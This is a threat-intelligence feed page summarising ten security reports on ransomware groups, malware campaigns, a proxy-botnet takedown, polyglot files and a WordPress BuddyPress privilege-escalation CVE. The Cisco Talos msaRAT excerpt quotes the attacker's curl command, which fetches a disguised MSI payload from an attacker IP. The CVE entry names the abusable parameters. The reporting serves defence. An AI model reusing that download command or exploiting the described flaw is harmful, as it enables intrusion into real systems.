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10 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | AlienVault OTX General Qilin, also known as Agenda, is a Russian-speaking ransomware-as-a-service operation active since 2022 and highly prolific by 2025 with over 1,000 victims. It uses a flexible platform enabling affiliates to customize attacks targeting local files, network shares, and virtual machine infrastructure, including ESXi hosts. Initial access is commonly gained via phishing, stolen credentials, vulnerable internet-facing systems, and remote management tools. The group employs a double-extortion model, encrypting data and threatening to publish stolen information on their blog and WikiLeaksV2 platform. Notable incidents include the 2024 Synnovis attack impacting UK healthcare services. Qilin is linked to other threat groups and has spawned derivative operations, some maintaining affiliate status while operating independent leak sites. | AlienVault OTX General | |||
| –Not rated | – | SecurityWeek Canonical's primary websites, including ubuntu.com, canonical.com, the Ubuntu blog, and developer portal, were disrupted by a distributed denial-of-service (DDoS) attack in October 2026. This incident follows a previous, more disruptive DDoS attack in April 2026 that also affected additional services such as Launchpad and the Snap Store. The October attack caused downtime of approximately four hours, with most affected services restored shortly after. No detailed information on the attack's size or origin has been publicly disclosed, and no group has claimed responsibility for the recent incident. Developer-facing services like Launchpad and the Snap Store were not impacted in the October attack. The April attack was attributed to a hacktivist group, but it is unclear if the two incidents are related. | SecurityWeek | |||
| –Not rated | – | Kaspersky Security Blog In June 2026, Kaspersky discovered malware targeting Android-based car infotainment systems (head units) developed by the Chinese company DoFun. The malware is delivered via the legitimate TWCore system app responsible for firmware updates, which attackers exploit to install a Trojan dropper called JarService without user interaction. JarService decrypts and launches a downloader that connects to a command-and-control server to fetch and execute additional payloads, including a clicker for ad fraud and a module that adds the device to a botnet used as a residential proxy service. The malware consumes system resources, potentially slowing the infotainment system and degrading internet performance. The infection is linked to the MoYu Group threat actor and the BADBOX malicious platform. The developer was informed and addressed the security issues. | Kaspersky Security Blog | |||
| –Not rated | – | Kaspersky Security Blog Files built with the polyglot technique have been showing up more and more in cyberattacks in recent years. They let attackers slip malware past email filters and file scanners, deceive victims in phishing attacks, and complicate incident investigations. To pull this off, attackers deliberately construct a file that a system can interpret as different formats depending on which application opens it. A classic example is a file that can be handled as a PNG image or a ZIP archive. All it takes is changing the file’s extension, or simply using one or another application to open it. Let’s take a look at why it’s even possible to create files like this, which format combinations have turned up in real-world attacks, and how organizations can protect themselves from this threat. Why polyglot files are possible The data formats behind polyglot files are seldom exotic. It all comes down to a clever combination of common formats that happen to be structurally compatible. Polyglots exploit at least one of the following quirks in certain file formats: Most file formats need decoding from the very first byte, but some require to read them from the end. The clearest example is a ZIP archive: a corrupted or missing beginning doesn’t stop applications from reading the file, because all the needed headers actually sit at the end. This lets attackers simply glue two files together — in the example above, a PNG and a ZIP. The beginning reads as a valid PNG image, while the end reads as a valid ZIP archive. Many formats work like Russian matryoshka nesting dolls: despite outwardly having a specific extension matching its intended usage, inside the file is essentially a ZIP archive containing the necessary data. This group includes modern office documents (DOCX/XLSX/PPTX), Android installation packages (APK), Java library files (JAR), and many others. Some formats have no strict structural requirements — or their requirements are loose enough that the application that’s processing the file can locate the fragment it needs even when that fragment isn’t at the beginning. The Polydet GitHub repository describes numerous examples of possible file combinations for building a polyglot. Under the MITRE classification, this technique falls under the Masquerading category ( T1036.008 , Masquerade File Type). Examples of polyglot files in known cyberattacks Publicly available malware campaign analyses reveal all kinds of polyglots. Attackers adapt the entire attack scenario to fit a specific file type combination. The Head Mare group delivered the PhantomPyramid malware as a ZIP attachment. The file consisted of Windows executable code (EXE) with a small ZIP archive glued onto the end. When the victim opened the archive, it contained a file with the extension PDF.LNK, which would then launch that same polyglot attachment — this time as an executable file. In the attack documented by JPCERT , attackers created a file that started as a PDF and was detected as a PDF by most scanners but carried a DOC extension and opened in Office applications as a valid DOC file containing malicious macros. The attacks spreading the StrRAT and Ratty Trojans used a polyglot built from a signed Windows installer package (MSI) with malicious Java code (JAR) tacked onto the end. The StrelaStealer attacks used a polyglot with an HTML extension: a Windows library (DLL) with a decoy HTML document glued onto the end. A shortcut in the archive launched the file twice: once via the start command (the equivalent of a double-click, which opened a browser showing the HTML document), and once via rundll32 (which launched the malicious DLL). In a simulated but elegant attack, researchers joined two ordinary ZIP files together and found that different popular archive tools displayed the combined file differently: some showed only the first archive, some only the second, and some showed both at once as if it were a single archive with shared contents. If the attacker is familiar with the vic… | Kaspersky Security Blog | |||
| –Not rated | – | Cisco Talos Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”. msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications. This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser. msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay. Overview of Chaos ransomware Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog. Figure 1. Chaos ransomware leak site. Infection chain Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT. Figure 2. Infection chain. After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update. Figure 3. Properties of “update_ms.msi” When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize . This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3 , directly into memory. Figure 4. Structure of the MSI file. lib.dll (msaRAT) msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN , which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note. Tokio runtime initialization Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async / await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is res… | Cisco Talos | |||
| –Not rated | – | Krebs on Security The Federal Bureau of Investigation (FBI) said today it worked with industry partners to seize hundreds of domains associated with NetNut , a sprawling residential proxy service operated by the publicly-traded Israeli company Alarum Technologies [NASDAQ: ALAR]. The action comes roughly two weeks after KrebsOnSecurity published findings from multiple security firms connecting NetNut to the Popa botnet, a collection of at least two million devices that have been compromised by malicious software with little or no consent from victims. The NetNut homepage today was replaced by this seizure banner from the FBI. On June 19, three different security firms issued similar findings : That NetNut is a residential proxy network which populates a botnet called Popa, and distributes software for devices commonly found in homes, such as smart TVs and streaming boxes. NetNut’s software turns those systems into always-on residential proxy nodes that are rented to others, who predominantly use them to relay abusive and intrusive Internet traffic, such as mass content scraping, advertising fraud, and account takeover activity. Earlier today, NetNut’s homepage was replaced with a seizure notice from the FBI and the Internal Revenue Service Criminal Investigation division. The seizure notice thanked Google , Lumen , Shadowserver and other industry partners for their help in dismantling hundreds of domains tied to the Popa botnet, which experts say has long been synonymous with NetNut’s residential proxy infrastructure. In a blog post published today, the Google Threat Intelligence Group (GTIG) said NetNut’s proxy network is widely resold and white-labeled by a number of third-party proxy providers, and that its services are heavily sought out by cybercriminals seeking to obfuscate the source of their malicious traffic. The GTIG said that in a single week during June 2026, they observed 316 distinct clusters of threat actors using suspected NetNut exit nodes, including cybercriminal and espionage groups. “These bad actors can use NetNut to mask their origin IP address when accessing victim environments, accessing their own infrastructure, and conducting password spray attacks,” Google’s GTIG wrote . “Furthermore, when a consumer device becomes an exit node, unauthorized network traffic passes through it. This means bad actors can access other private devices on the same home network, effectively exposing them to Internet threats.” Google said it disabled Google accounts and services used by NetNut for malware command and control, and that it shared technical intelligence on NetNut’s software development kits (SDKs) and backend infrastructure with platform providers, law enforcement and research firms. The company also disabled apps known to bundle NetNut’s various SDKs. Omer Weiss , legal counsel for NetNut parent Alarum Technologies, said the company was aware of the FBI seizure and cooperating with investigators. “Alarum takes this matter seriously and will fully cooperate with law enforcement to ensure any misuse of its infrastructure is thoroughly investigated and those responsible are held to account,” Weiss said in a written statement. Benjamin Brundage is founder of the proxy tracking service Synthient , one of the companies that published evidence last month linking the Popa botnet to NetNut and Alarum Technologies. Brundage said the domain seizures appear to have disrupted both the Popa botnet and the NetNut proxy network that rides on top of it. Brundage said NetNut’s apparent demise is likely to be a great disadvantage for the cybercrime community, which was already reeling from legal actions by Google earlier this year that seized infrastructure for NetNut’s biggest competitor — IPIDEA . “I think this takedown is going to have a big impact, because NetNut gained significant popularity after the IPIDEA takedown,” he said. “Also NetNut has been incredibly common among resellers, and they were on par with IPIDEA in terms of their daily tr… | Krebs on Security | |||
| High | 8.8 | EPSS 0.4% | High8.8EPSS 0.4%CVE Database V5CVE-2026-5144 The BuddyPress Groupblog plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.3. This is due to the group blog settings handler accepting the `groupblog-blogid`, `default-member`, and `groupblog-silent-add` parameters from user input without proper authorization checks. The `groupblog-blogid` parameter allows any group admin (including Subscribers who create their own group) to associate their group with any blog on the Multisite network, including the main site (blog ID 1). The `default-member` parameter accepts any WordPress role, including `administrator`, without validation against a whitelist. When combined with `groupblog-silent-add`, any user who joins the attacker's group is automatically added to the targeted blog with the injected role. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate any user (including themselves via a second account) to Administrator on the main site of the Multisite network. | CVE Database V5 | ||
| –Not rated | – | Kaspersky Security Blog GhostCall and GhostHire are two distinct but related cyber-espionage campaigns conducted by the BlueNoroff APT group, a Lazarus subgroup, targeting executives and developers in the cryptocurrency industry. GhostCall focuses on social engineering attacks against executives, primarily on macOS, using fake investor personas and spoofed video calls to lure victims to malicious sites that prompt malware installation. GhostHire targets blockchain developers by offering fake job opportunities and delivering malware through test tasks distributed via Telegram and GitHub. Both campaigns aim to infect victims' computers to steal cryptocurrency, credentials, and sensitive corporate secrets. The attacks leverage sophisticated social engineering and custom malware, with a shared command-and-control infrastructure. There are no known public exploits, but the campaigns demonstrate targeted, well-prepared operations. European organizations in the crypto and blockchain sectors, especially those with macOS-using executives and developers, face significant risk. Mitigation requires tailored security awareness training, advanced endpoint protection, and strict controls on software installation and external communications. Given the targeted nature, potential financial theft, and infection vectors, the threat severity is assessed as high. | Kaspersky Security Blog | |||
| –Not rated | – | Kaspersky Security Blog LeetAgent is a malware tool used by the ForumTroll APT group, which exploited a zero-day Chrome vulnerability to infect Russian organizations. The same tools were also used to distribute Dante, a sophisticated commercial spyware developed by Memento Labs (formerly HackingTeam). Dante features modular encrypted components and self-destructs if inactive. The attacks targeted media, government, educational, and financial sectors primarily in Russia and Belarus. No known exploits are currently active in the wild beyond these campaigns. Detection has been achieved through advanced XDR solutions, and threat intelligence is available via Kaspersky’s APT data service. European organizations face risks mainly if targeted by similar threat actors or if they share infrastructure or partnerships with affected regions. Mitigation requires patching browsers, monitoring for indicators of compromise, and employing advanced detection tools. Given the malware’s sophistication, modularity, and use of zero-days, the threat severity is assessed as high. | Kaspersky Security Blog | |||
| –Not rated | – | AlienVault OTX General In late October 2024, a government website was discovered hosting malware targeting multiple government entities. The malware, dubbed TOUGHPROGRESS, utilized Google Calendar for command and control. Attributed to APT41, a PRC-based actor, the campaign targeted global organizations in various sectors. The malware infection chain involved three modules: PLUSDROP, PLUSINJECT, and TOUGHPROGRESS, employing stealth and evasion techniques. TOUGHPROGRESS used encrypted Calendar events for communication. Google Threat Intelligence Group disrupted the campaign by developing custom fingerprints, terminating attacker-controlled infrastructure, and updating Safe Browsing. APT41 has been observed using free web hosting tools and URL shorteners for malware distribution since August 2024. The blog post provides indicators of compromise and YARA rules to aid in detection and defense against similar attacks. | AlienVault OTX General |
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